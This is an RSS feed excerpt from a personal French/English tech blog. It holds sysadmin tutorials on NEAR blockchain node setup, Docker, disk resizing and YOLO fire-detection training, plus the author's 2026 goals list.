echo &#34;net.ipv4.ip_forward=1&#34; | sudo tee /etc/sysctl.d/99-tailscale.conf
curl -4 icanhazip.com # Get vps public IP to verify later the local server has the same one.

sudo apt update &amp;&amp; sudo apt install socat -y
sudo socat UDP4-LISTEN:24567,fork UDP4:PRIVATE_TAILSCALE_IP_OF_LOCAL_NEAR_NODE:24567
</code></pre><br/>
<h2 id="local-node">Local Node</h2>
<p><strong>Setup tailscale</strong></p>
<pre tabindex="0"><code>curl -fsSL https://tailscale.com/install.sh | sh &amp;&amp; sudo tailscale up --auth-key=tskey-auth-...-...
curl -4 icanhazip.com
tailscale status
sudo tailscale up \ --exit-node=TAILSCALE_PRIVATE_IP_OF_VPS --exit-node-allow-lan-access=true
curl -4 icanhazip.com
</code></pre><br/>
<p><strong>Retrieve peer address to setup boot nodes</strong></p>
<pre tabindex="0"><code>curl -s -X POST https://rpc.mainnet.near.org -H &#34;Content-Type: application/json&#34; -d &#39;{ &#34;jsonrpc&#34;: &#34;2.0&#34;, &#34;method&#34;: &#34;network_info&#34;, &#34;params&#34;: [], &#34;id&#34;: &#34;dontcare&#34;}&#39; | jq -r &#39;.result.active_peers[] | &#34;\(.id)@\(.addr)&#34;&#39;
</code></pre><br/>
<p><strong>Boot node config</strong></p>
<p>Edit <code>vim ~/.near/config.json</code> and change:</p>
<pre tabindex="0"><code>&#34;boot_nodes&#34;: [
  &#34;v2.near.org:24567&#34;   // Previously retrieved peer id
]
</code></pre><br/>
<p><strong>Run Near</strong></p>
<pre tabindex="0"><code>neard run
</code></pre><br/>
<p><strong>Verify sync</strong></p>
<pre tabindex="0"><code>curl -s http://127.0.0.1:3030/status | jq

#&#34;sync_info&#34;: {
#  &#34;syncing&#34;: false
#}
# -&gt; Sync is over

# Compare with public node
curl -s https://rpc.mainnet.near.org/status | jq &#39;.sync_info.latest_block_height&#39; &amp;&amp; curl -s http://127.0.0.1:3030/status | jq &#39;.sync_info.latest_block_height&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Install Near full RPC node on Ubuntu</title>
            <link>https://leandeep.com/install-near-full-rpc-node-on-ubuntu/</link>
            <pubDate>Thu, 01 Jan 2026 21:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/install-near-full-rpc-node-on-ubuntu/</guid>
            <description>&lt;p&gt;In the article we are going to see how to setup a full RPC node for Near blockchain&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;setup&#34;&gt;Setup&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y
sudo apt install -y curl git unzip clang cmake make pkg-config libssl-dev llvm jq
sudo reboot
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Configure system limits&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;fs.file-max=1000000&amp;#34; | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
ulimit -n 1000000
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Install Rust&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl --proto &amp;#39;=https&amp;#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
rustup update stable
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Download NEAR Core&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In the article we are going to see how to setup a full RPC node for Near blockchain</p>
<br/>
<h2 id="setup">Setup</h2>
<pre tabindex="0"><code>sudo apt update &amp;&amp; sudo apt upgrade -y
sudo apt install -y curl git unzip clang cmake make pkg-config libssl-dev llvm jq
sudo reboot
</code></pre><br/>
<p><strong>Configure system limits</strong></p>
<pre tabindex="0"><code>echo &#34;fs.file-max=1000000&#34; | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
ulimit -n 1000000
</code></pre><br/>
<p><strong>Install Rust</strong></p>
<pre tabindex="0"><code>curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
rustup update stable
</code></pre><br/>
<p><strong>Download NEAR Core</strong></p>
<pre tabindex="0"><code>git clone https://github.com/near/nearcore.git
cd nearcore
git checkout 2.10.3
</code></pre><br/>
<p><strong>Compile</strong></p>
<pre tabindex="0"><code># Option 1
# cargo build -p neard --release
make release

# check 
$ ./target/release/neard run
$ (In another tab) sudo ss -lun | grep 24567
&gt; Expected:
&gt; udp   UNCONN  0  0  0.0.0.0:24567   0.0.0.0:*
&gt; Or expected:
&gt; udp   UNCONN  0  0  [::]:24567      [::]:*

If it&#39;s empty it is an issue with Near itself not a network misconfiguration
$ ctrl-c

sudo cp target/release/neard /usr/local/bin/

# Option 2
cd ~
rm -rf nearcore
wget https://github.com/near/nearcore/releases/latest/download/neard-linux-x86_64.tar.gz
tar -xvf neard-linux-x86_64.tar.gz
sudo mv neard /usr/local/bin/
neard --version
</code></pre><br/>
<p><strong>Init node</strong></p>
<pre tabindex="0"><code>mkdir -p ~/.near
# Mainnet init
neard init --chain-id mainnet --download-genesis --download-config

# It will create both files:
# ~/.near/config.json
# ~/.near/genesis.json
</code></pre><br/>
<p><strong>Configure the Node in full RPC node</strong></p>
<pre tabindex="0"><code>vim ~/.near/config.json

-&gt; Activate public RPC
&#34;rpc&#34;: {
  &#34;addr&#34;: &#34;0.0.0.0:3030&#34;,
  &#34;cors_allowed_origins&#34;: [&#34;*&#34;]
}
</code></pre><br/>
<p><strong>Configure kernel network parameters</strong></p>
<pre tabindex="0"><code>cd nearcore
chmod +x scripts/set_kernel_params.sh
sudo scripts/set_kernel_params.sh
</code></pre><br/>
<p><strong>Start the node</strong></p>
<pre tabindex="0"><code>neard run
</code></pre><br/>
<p><strong>Check logs</strong></p>
<pre tabindex="0"><code>tail -f ~/.near/logs/neard.log
</code></pre><br/>
<p><strong>Check node</strong></p>
<pre tabindex="0"><code>curl http://127.0.0.1:3030/status

# expected response:
{
  &#34;chain_id&#34;: &#34;mainnet&#34;,
  &#34;sync_info&#34;: {
    &#34;syncing&#34;: false
  }
}
</code></pre><br/>
<h2 id="create-a-service">Create a service</h2>
<p>sudo vim /etc/systemd/system/neard.service</p>
<pre tabindex="0"><code>[Unit]
Description=NEAR RPC Node
After=network.target

[Service]
User=ubuntu
ExecStart=/usr/local/bin/neard run
Restart=always
LimitNOFILE=1000000

[Install]
WantedBy=multi-user.target
</code></pre><br/>
<pre tabindex="0"><code>sudo systemctl daemon-reload
sudo systemctl enable neard
sudo systemctl start neard
</code></pre><br/>
<p><strong>Useful RPC Endpoints</strong></p>
<p>-&gt; Health: http://localhost:3030/status</p>
<p>-&gt; JSON-RPC: http://localhost:3030</p>
<br/>
<p>Exemple:</p>
<pre tabindex="0"><code>curl -X POST http://localhost:3030 \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{&#34;jsonrpc&#34;:&#34;2.0&#34;,&#34;id&#34;:&#34;1&#34;,&#34;method&#34;:&#34;block&#34;,&#34;params&#34;:{&#34;finality&#34;:&#34;final&#34;}}&#39;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2026 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2026/</link>
            <pubDate>Thu, 01 Jan 2026 20:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2026/</guid>
            <description>&lt;p&gt;Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&amp;rsquo;année et surtout de me challenger chaque année.&lt;/p&gt;
&lt;p&gt;Voici donc mon programme pour cette année 2026. La majeure partie de mes développements seront réalisés en Rust ou Python:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;1. Lecture d&amp;rsquo;un livre sur Ichimoku (trading)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Investissement bourse en suivant une stratégie de value investing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Développer pour &lt;a href=&#34;https://ps-iloveyou.fr&#34;&gt;https://ps-iloveyou.fr&lt;/a&gt; de nouvelles fonctionnalités. Basculer le service en 100% gratuit et ajouter du prod alerting&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&rsquo;année et surtout de me challenger chaque année.</p>
<p>Voici donc mon programme pour cette année 2026. La majeure partie de mes développements seront réalisés en Rust ou Python:</p>
<br/>
<p><strong>1. Lecture d&rsquo;un livre sur Ichimoku (trading)</strong></p>
<p><strong>2. Investissement bourse en suivant une stratégie de value investing</strong></p>
<p><strong>3. Développer pour <a href="https://ps-iloveyou.fr">https://ps-iloveyou.fr</a> de nouvelles fonctionnalités. Basculer le service en 100% gratuit et ajouter du prod alerting</strong></p>
<p><strong>4. Build local AI server (hardware) for comfyui and LLM</strong></p>
<p><strong>5. Placer le robot arm que j&rsquo;ai construit sur rail linéaire pour arrosage jardin hydroponique</strong> #top prio #rust #esp32</p>
<p><strong>6. Construire un second robot arm avec une camera sur la pince</strong> #top prio</p>
<p><strong>7. Tester la gravure laser sur métal</strong></p>
<p><strong>8. Construire un boitier en bois design pour alarme lacrymogène</strong></p>
<p><strong>9. Alarme lacrymo v2 avec 6 degrés de liberté. -&gt; Alarme lacrymo robotique</strong></p>
<p><strong>10. Build LLM from scratch (follow Andrej course)</strong></p>
<p><strong>11. Veille ecosystème Crypto</strong></p>
<p><strong>12. Veille AI</strong></p>
<p><strong>13. Reprise de l&rsquo;activité d&rsquo;arbitrage sur différentes blockchains en custody: Near, Sui, Solana, Optimism, base</strong> #Top prio #Rust #Solidity #Move</p>
<p><strong>14. Build a new crypto RPC node server</strong></p>
<p><strong>15. Evil LLM analysis</strong></p>
<p><strong>16. Lire un livre de développement personnel</strong></p>
<p><strong>17. Entrainer un robot arm à allumer un feu à un endroit précis sur une matière précise</strong> #IA #Robotique #Top prio</p>
<p><strong>18. Suivre formation sur optimisation du gaz Solidity</strong></p>
<p><strong>19. Voir s&rsquo;il existe une formation sécurité des Smart contracts Ethereum</strong></p>
<p><strong>20. Expérimentation avec le nouveau robot Reachy mini de Huggingface</strong></p>
<p><strong>21. Lire 2 livres sur Rust</strong></p>
<p><strong>22. Construire un &ldquo;ok google&rdquo; (et pas dumb) privé (ou publique avec rooting avec LLM privé en Rust)</strong></p>
<br/>
<p>Pour la 1e année je parle de mes projets perso. Les années passées, je n&rsquo;avais jamais communiqué dessus alors que je me fixe aussi beaucoup d&rsquo;objectifs personnels.</p>
<p><strong>1. Lire les 3 livres de maraîchage de Jean-Martin Fortier</strong></p>
<p><strong>2. Créer un jardin potager pour former mes enfants aux petites choses simples de la vie. (Et donc réaliser les travaux associés, couler un peu de béton pour les bordures, installer un préau pour stockage du matériel, amener l&rsquo;eau près du potager sur 100m. Idem électricité) + Réflexion installation panneaux solaire sur nouveau préau</strong></p>
<p><strong>3. Sport intensif 2 fois par semaine (boxe/ callisthénie) + 2 sorties sur l&rsquo;eau par mois (Wing foil ou similaire/ Kayak)</strong></p>
<p><strong>4. Amélioration de mon alimentation -&gt; diminution des sucres lents</strong></p>
<p><strong>5. Aménager mon espace de bricolage pour installer une scie cirulaire</strong></p>
<p><strong>6. Creuser une tranchée pour tirer l&rsquo;électricité dans mon jardin et installer une caméra de sécurité dans un endroit stratégique</strong></p>
<p><strong>7. Trouver un club qui propose du Wing (pour moi) et aussi du bâteau (pour mes enfants)</strong> #For kids</p>
<p><strong>8. Marcher 4h par jour du lundi au vendredi sauf durant mes congés</strong></p>
<p><strong>9. Faire 1h de vélo par jour du lundi au jeudi sauf durant mes congés</strong></p>
<p><strong>10. Trouver un club de boxe ou Krav Maga pour 2027</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Commandes pour redimensionner le disque d&#39;une VM sous Linux</title>
            <link>https://leandeep.com/commandes-pour-redimensionner-le-disque-dune-vm-sous-linux/</link>
            <pubDate>Thu, 04 Sep 2025 13:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-pour-redimensionner-le-disque-dune-vm-sous-linux/</guid>
            <description>&lt;p&gt;Voici quelques commandes très utiles pour redimensionner le disque d&amp;rsquo;une VM sous Debian 13.&lt;/p&gt;
&lt;h2 id=&#34;ajouter-luser-actuel-au-fichier-sudoers&#34;&gt;Ajouter l&amp;rsquo;user actuel au fichier sudoers&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;su -
EDITOR=vim visudo
# Ajouter votre user au fichier sudoers si vous avez l&amp;#39;erreur: 
# &amp;#34;monuser is not in the sudoers file.&amp;#34;
# monuser    ALL=(ALL:ALL) ALL
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;visualiser&#34;&gt;Visualiser&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt install util-linux
echo &amp;#39;export PATH=$PATH:/sbin:/usr/sbin&amp;#39; &amp;gt;&amp;gt; ~/.bashrc
source ~/.bashrc
sudo cfdisk
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;resize&#34;&gt;Resize&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Etends la partition
parted /dev/sda
print
print free
resizepart 2 100%
# resizepart 2 1611GB
quit 
# Etends le filesystem 
resize2fs /dev/sda2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;effacer-une-partition-si-nécessaire&#34;&gt;Effacer une partition si nécessaire&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;parted /dev/sda
rm 3
# Agrandis une partition comme la 2 avec toute la place libre
resizepart 2 100%
# ou mieux avec la taille en GB. Par exemple:
resizepart 2 1611GB (sur un total de 1617 pour créer un swap de 6GB par exemple)
quit
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;recréer-partition-swap-si-nécesssaire&#34;&gt;Recréer partition swap si nécesssaire&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;parted /dev/sda mkpart primary linux-swap 1605GB 1611GB
# Format la partition en SWAP
mkswap /dev/sda3

# active le swap
swapon /dev/sda3
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;fstab&#34;&gt;fstab&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;blkid /dev/sda3 (pour récupérer le UUID du nouveau SWAP)
vim /etc/fstab
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici quelques commandes très utiles pour redimensionner le disque d&rsquo;une VM sous Debian 13.</p>
<h2 id="ajouter-luser-actuel-au-fichier-sudoers">Ajouter l&rsquo;user actuel au fichier sudoers</h2>
<pre tabindex="0"><code>su -
EDITOR=vim visudo
# Ajouter votre user au fichier sudoers si vous avez l&#39;erreur: 
# &#34;monuser is not in the sudoers file.&#34;
# monuser    ALL=(ALL:ALL) ALL
</code></pre><br/>
<h2 id="visualiser">Visualiser</h2>
<pre tabindex="0"><code>sudo apt update
sudo apt install util-linux
echo &#39;export PATH=$PATH:/sbin:/usr/sbin&#39; &gt;&gt; ~/.bashrc
source ~/.bashrc
sudo cfdisk
</code></pre><br/>
<h2 id="resize">Resize</h2>
<pre tabindex="0"><code># Etends la partition
parted /dev/sda
print
print free
resizepart 2 100%
# resizepart 2 1611GB
quit 
# Etends le filesystem 
resize2fs /dev/sda2
</code></pre><br/>
<h2 id="effacer-une-partition-si-nécessaire">Effacer une partition si nécessaire</h2>
<pre tabindex="0"><code>parted /dev/sda
rm 3
# Agrandis une partition comme la 2 avec toute la place libre
resizepart 2 100%
# ou mieux avec la taille en GB. Par exemple:
resizepart 2 1611GB (sur un total de 1617 pour créer un swap de 6GB par exemple)
quit
</code></pre><br/>
<h2 id="recréer-partition-swap-si-nécesssaire">Recréer partition swap si nécesssaire</h2>
<pre tabindex="0"><code>parted /dev/sda mkpart primary linux-swap 1605GB 1611GB
# Format la partition en SWAP
mkswap /dev/sda3

# active le swap
swapon /dev/sda3
</code></pre><br/>
<h2 id="fstab">fstab</h2>
<pre tabindex="0"><code>blkid /dev/sda3 (pour récupérer le UUID du nouveau SWAP)
vim /etc/fstab
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Docker comme service sur Ubuntu 22.04</title>
            <link>https://leandeep.com/installer-docker-comme-service-sur-ubuntu-22.04/</link>
            <pubDate>Mon, 01 Sep 2025 13:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-docker-comme-service-sur-ubuntu-22.04/</guid>
            <description>&lt;p&gt;Voici une procédure simple pour installer et activer le service Docker sur Ubuntu 22.04.&lt;/p&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;On met à jour l&amp;rsquo;OS&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update -y &amp;amp;&amp;amp; sudo apt upgrade -y
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;On désinstalle les anciennes versions de Docker installées:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt remove docker docker-engine docker.io containerd runc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;On ajoute le repo apt:&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo \
  &amp;#34;deb [arch=&amp;#34;$(dpkg --print-architecture)&amp;#34; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  &amp;#34;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;#34;$VERSION_CODENAME&amp;#34;)&amp;#34; stable&amp;#34; | \
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation de Docker:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une procédure simple pour installer et activer le service Docker sur Ubuntu 22.04.</p>
<h2 id="installation">Installation</h2>
<p><strong>On met à jour l&rsquo;OS</strong></p>
<pre tabindex="0"><code>sudo apt update -y &amp;&amp; sudo apt upgrade -y
</code></pre><br/>
<p><strong>On désinstalle les anciennes versions de Docker installées:</strong></p>
<pre tabindex="0"><code>sudo apt remove docker docker-engine docker.io containerd runc
</code></pre><br/>
<p><strong>On ajoute le repo apt:</strong></p>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install ca-certificates curl gnupg
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo \
  &#34;deb [arch=&#34;$(dpkg --print-architecture)&#34; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  &#34;$(. /etc/os-release &amp;&amp; echo &#34;$VERSION_CODENAME&#34;)&#34; stable&#34; | \
  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null
</code></pre><br/>
<p><strong>Installation de Docker:</strong></p>
<pre tabindex="0"><code>sudo apt update -y
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
</code></pre><br/>
<p><strong>Pour vérifier que cela fonctionne:</strong></p>
<pre tabindex="0"><code>sudo docker run hello-world
sudo systemctl is-active docker
</code></pre><br/>
<p><strong>Pour démarrer docker sans sudo:</strong></p>
<pre tabindex="0"><code>sudo usermod -aG docker $USER
newgrp docker
</code></pre><br/>
<p><strong>On vérifie:</strong></p>
<pre tabindex="0"><code>docker run hello-world
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Fine-tune Yolo pour détecter un feu</title>
            <link>https://leandeep.com/fine-tune-yolo-pour-d%C3%A9tecter-un-feu/</link>
            <pubDate>Sat, 19 Jul 2025 11:36:00 +0200</pubDate>
            
            <guid>https://leandeep.com/fine-tune-yolo-pour-d%C3%A9tecter-un-feu/</guid>
            <description>&lt;p&gt;On crée un jupyter notebook:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir yolo-finetune-fire &amp;amp;&amp;amp; cd $_
touch yolo-finetune.ipynb
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Contenu du Notebook&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;MY_SECRET_KEY=&amp;#34;...&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;!pip install ultralytics
!pip install roboflow
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import os
import yaml
import ultralytics
import pandas as pd
from roboflow import Roboflow
from ultralytics import YOLO
from IPython.display import Image, display
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Contenu Markdown&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;yolov11s.pt vs yolov11n.pt&lt;/p&gt;
&lt;p&gt;Le &amp;ldquo;s&amp;rdquo; signifie &amp;ldquo;small&amp;rdquo; (petit). Modèle plus grand que &amp;ldquo;n&amp;rdquo;, avec plus de couches et de paramètres. Meilleure précision, mais plus lent et plus gourmand en ressources que &amp;ldquo;n&amp;rdquo;. yolov11n.pt&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>On crée un jupyter notebook:</p>
<pre tabindex="0"><code>mkdir yolo-finetune-fire &amp;&amp; cd $_
touch yolo-finetune.ipynb
</code></pre><br/>
<p><strong>Contenu du Notebook</strong></p>
<pre tabindex="0"><code>MY_SECRET_KEY=&#34;...&#34;
</code></pre><pre tabindex="0"><code>!pip install ultralytics
!pip install roboflow
</code></pre><pre tabindex="0"><code>import os
import yaml
import ultralytics
import pandas as pd
from roboflow import Roboflow
from ultralytics import YOLO
from IPython.display import Image, display
</code></pre><br/>
<p><strong>Contenu Markdown</strong></p>
<p>yolov11s.pt vs yolov11n.pt</p>
<p>Le &ldquo;s&rdquo; signifie &ldquo;small&rdquo; (petit). Modèle plus grand que &ldquo;n&rdquo;, avec plus de couches et de paramètres. Meilleure précision, mais plus lent et plus gourmand en ressources que &ldquo;n&rdquo;. yolov11n.pt</p>
<p>Le &ldquo;n&rdquo; signifie &ldquo;nano&rdquo; (très petit). Modèle très léger, moins de couches et de paramètres. Plus rapide et moins gourmand en ressources, mais précision généralement plus faible.</p>
<br/>
<pre tabindex="0"><code>!wget -nc https://github.com/ultralytics/assets/releases/download/v8.3.0/yolo11s.pt
</code></pre><pre tabindex="0"><code>rf = Roboflow(api_key=MY_SECRET_KEY)
#model_version = &#34;yolov8&#34;
model_version = &#34;yolov11&#34;
epoch_count = &#34;2&#34;
os.environ[&#34;EPOCH_COUNT&#34;] = epoch_count
run_dir_name = f&#34;runs_{model_version}&#34;
os.environ[&#34;MODEL_VERSION&#34;] = model_version
os.environ[&#34;RUN_DIR_NAME&#34;] = run_dir_name
base_path = f&#34;/home/olivier/Dev/fire/machine_learning/yolo-finetune-fire&#34;
os.environ[&#34;BASE_PATH&#34;] = base_path
project = rf.workspace(&#34;-jwzpw&#34;).project(&#34;continuous_fire&#34;)
print(f&#34;Downloading model {model_version} in path {base_path}&#34;)
dataset = project.version(6).download(model_version, location=base_path)
</code></pre><pre tabindex="0"><code>if model_version == &#34;yolov8&#34;:
    os.environ[&#34;BASE_MODEL_FILENAME&#34;] = f&#34;{model_version}s.pt&#34;
elif model_version == &#34;yolov11&#34;:
    os.environ[&#34;BASE_MODEL_FILENAME&#34;] = f&#34;yolo11s.pt&#34;
</code></pre><pre tabindex="0"><code>!yolo task=detect mode=train model=$BASE_MODEL_FILENAME data=$BASE_PATH/continuous_fire-6/data.yaml epochs=$EPOCH_COUNT imgsz=640 plots=True project=$BASE_PATH/$RUN_DIR_NAME/detect
</code></pre><pre tabindex="0"><code>runs_path = os.path.join(base_path, f&#34;{run_dir_name}/detect&#34;)

train_dirs = [d for d in os.listdir(runs_path) if d.startswith(&#34;train&#34;)]

train_dirs_sorted = sorted(train_dirs, key=lambda x: int(x.replace(&#34;train&#34;, &#34;&#34;) or &#34;1&#34;))

last_train_dir = train_dirs_sorted[-1]
os.environ[&#34;LAST_TRAIN_DIR&#34;] = last_train_dir
</code></pre><pre tabindex="0"><code>Image(filename=f&#34;{base_path}/{run_dir_name}/detect/{last_train_dir}/results.png&#34;, width=600)
</code></pre><br/>
<p><strong>Contenu Markdown</strong></p>
<p>Le fichier results.csv contient les métriques d’entraînement et de validation pour chaque epoch. Voici comment interpréter les principales colonnes:</p>
<p>epoch: numéro de l’époque (itération complète sur le dataset).</p>
<p>time: temps écoulé pour chaque epoch.</p>
<p>train/box_loss, train/cls_loss, train/dfl_loss: pertes (loss) sur l’entraînement pour la localisation des boîtes, la classification et la distribution des frontières (Dfl).</p>
<p>val/box_loss, val/cls_loss, val/dfl_loss : mêmes pertes mais sur le jeu de validation.
metrics/precision(B) : précision sur la validation (proportion de vraies détections parmi toutes les détections).</p>
<p>metrics/recall(B) : rappel sur la validation (proportion de vraies détections parmi tous les objets à détecter).</p>
<p>metrics/mAP50(B) : moyenne des précisions pour un IoU de 0.5 (métrique clé pour la détection d’objets).</p>
<p>metrics/mAP50-95(B) : mAP moyenne pour des IoU de 0.5 à 0.95 (plus stricte, plus représentative).</p>
<p>lr/pg0, lr/pg1, lr/pg2 : taux d’apprentissage pour différents groupes de paramètres.</p>
<p>À retenir :</p>
<p>Plus les valeurs de metrics/mAP50(B) et metrics/mAP50-95(B) sont élevées, meilleur est le modèle.</p>
<p>Les pertes (loss) doivent généralement diminuer au fil des epochs.</p>
<p>Surveille la différence entre les pertes d’entraînement et de validation pour détecter un éventuel surapprentissage (overfitting).</p>
<p>Pour choisir le meilleur modèle, regarde l’epoch où metrics/mAP50(B) est maximal : c’est à cette epoch que le fichier best.pt est sauvegardé.</p>
<br/>
<pre tabindex="0"><code>!yolo task=detect mode=val model=$BASE_PATH/$RUN_DIR_NAME/detect/$LAST_TRAIN_DIR/weights/best.pt data=$BASE_PATH/continuous_fire-6/data.yaml project=$BASE_PATH/$RUN_DIR_NAME/detect/$LAST_TRAIN_DIR
</code></pre><pre tabindex="0"><code>results_csv = os.path.join(runs_path, last_train_dir, &#34;results.csv&#34;)
if os.path.exists(results_csv):
    df = pd.read_csv(results_csv)
    # On considère que la meilleure performance correspond au meilleur mAP50 sur la validation
    best_idx = df[&#34;metrics/mAP50(B)&#34;].idxmax()
    best_epoch = int(df.loc[best_idx, &#34;epoch&#34;])
    best_map = df.loc[best_idx, &#34;metrics/mAP50(B)&#34;]
    #print(f&#34;Le modèle est le plus performant à l&#39;epoch {best_epoch} avec un mAP50(B) de {best_map:.3f}.&#34;)
    total_epochs = len(df)
    print(f&#34;Le modèle est le plus performant à l&#39;epoch {best_epoch} / {total_epochs} avec un mAP50(B) de {best_map:.3f}.&#34;)
    print(&#34;C&#39;est à cette epoch que le fichier best.pt a été sauvegardé, car il correspond à la meilleure performance sur le jeu de validation (mAP50).&#34;)
    table = df[[&#34;epoch&#34;, &#34;metrics/mAP50(B)&#34;]]
    print(table.to_string(index=False))
else:
    print(&#34;Le fichier results.csv n&#39;existe pas dans le dernier dossier train.&#34;)
</code></pre><pre tabindex="0"><code>val_images_dir = os.path.join(base_path, f&#34;{run_dir_name}/detect&#34;, last_train_dir, &#34;val&#34;)

if os.path.exists(val_images_dir):
    images = [f for f in os.listdir(val_images_dir) if f.lower().endswith((&#39;.jpg&#39;, &#39;.png&#39;))]
    if images:
        for img_name in images:
            img_path = os.path.join(val_images_dir, img_name)
            display(Image(filename=img_path, width=600))
    else:
        print(&#34;Aucune image trouvée dans le dossier de validation.&#34;)
else:
    print(&#34;Le dossier de validation n&#39;existe pas.&#34;)
</code></pre><blockquote>
<p>Personal note: notebook location on AI Server: <code>/home/olivier/Dev/fire/machine_learning</code></p></blockquote>
<blockquote>
<p><code>jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root</code> &lt;- commande à utiliser uniquement en développement (sans donnée de prod)</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Installer Jupyter lab sur Ubuntu 22</title>
            <link>https://leandeep.com/installer-jupyter-lab-sur-ubuntu-22/</link>
            <pubDate>Sat, 19 Jul 2025 10:59:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-jupyter-lab-sur-ubuntu-22/</guid>
            <description>&lt;p&gt;Dans cet article très court, nous allons voir comment installer Jupyter lab sur Ubuntu 22.&lt;/p&gt;
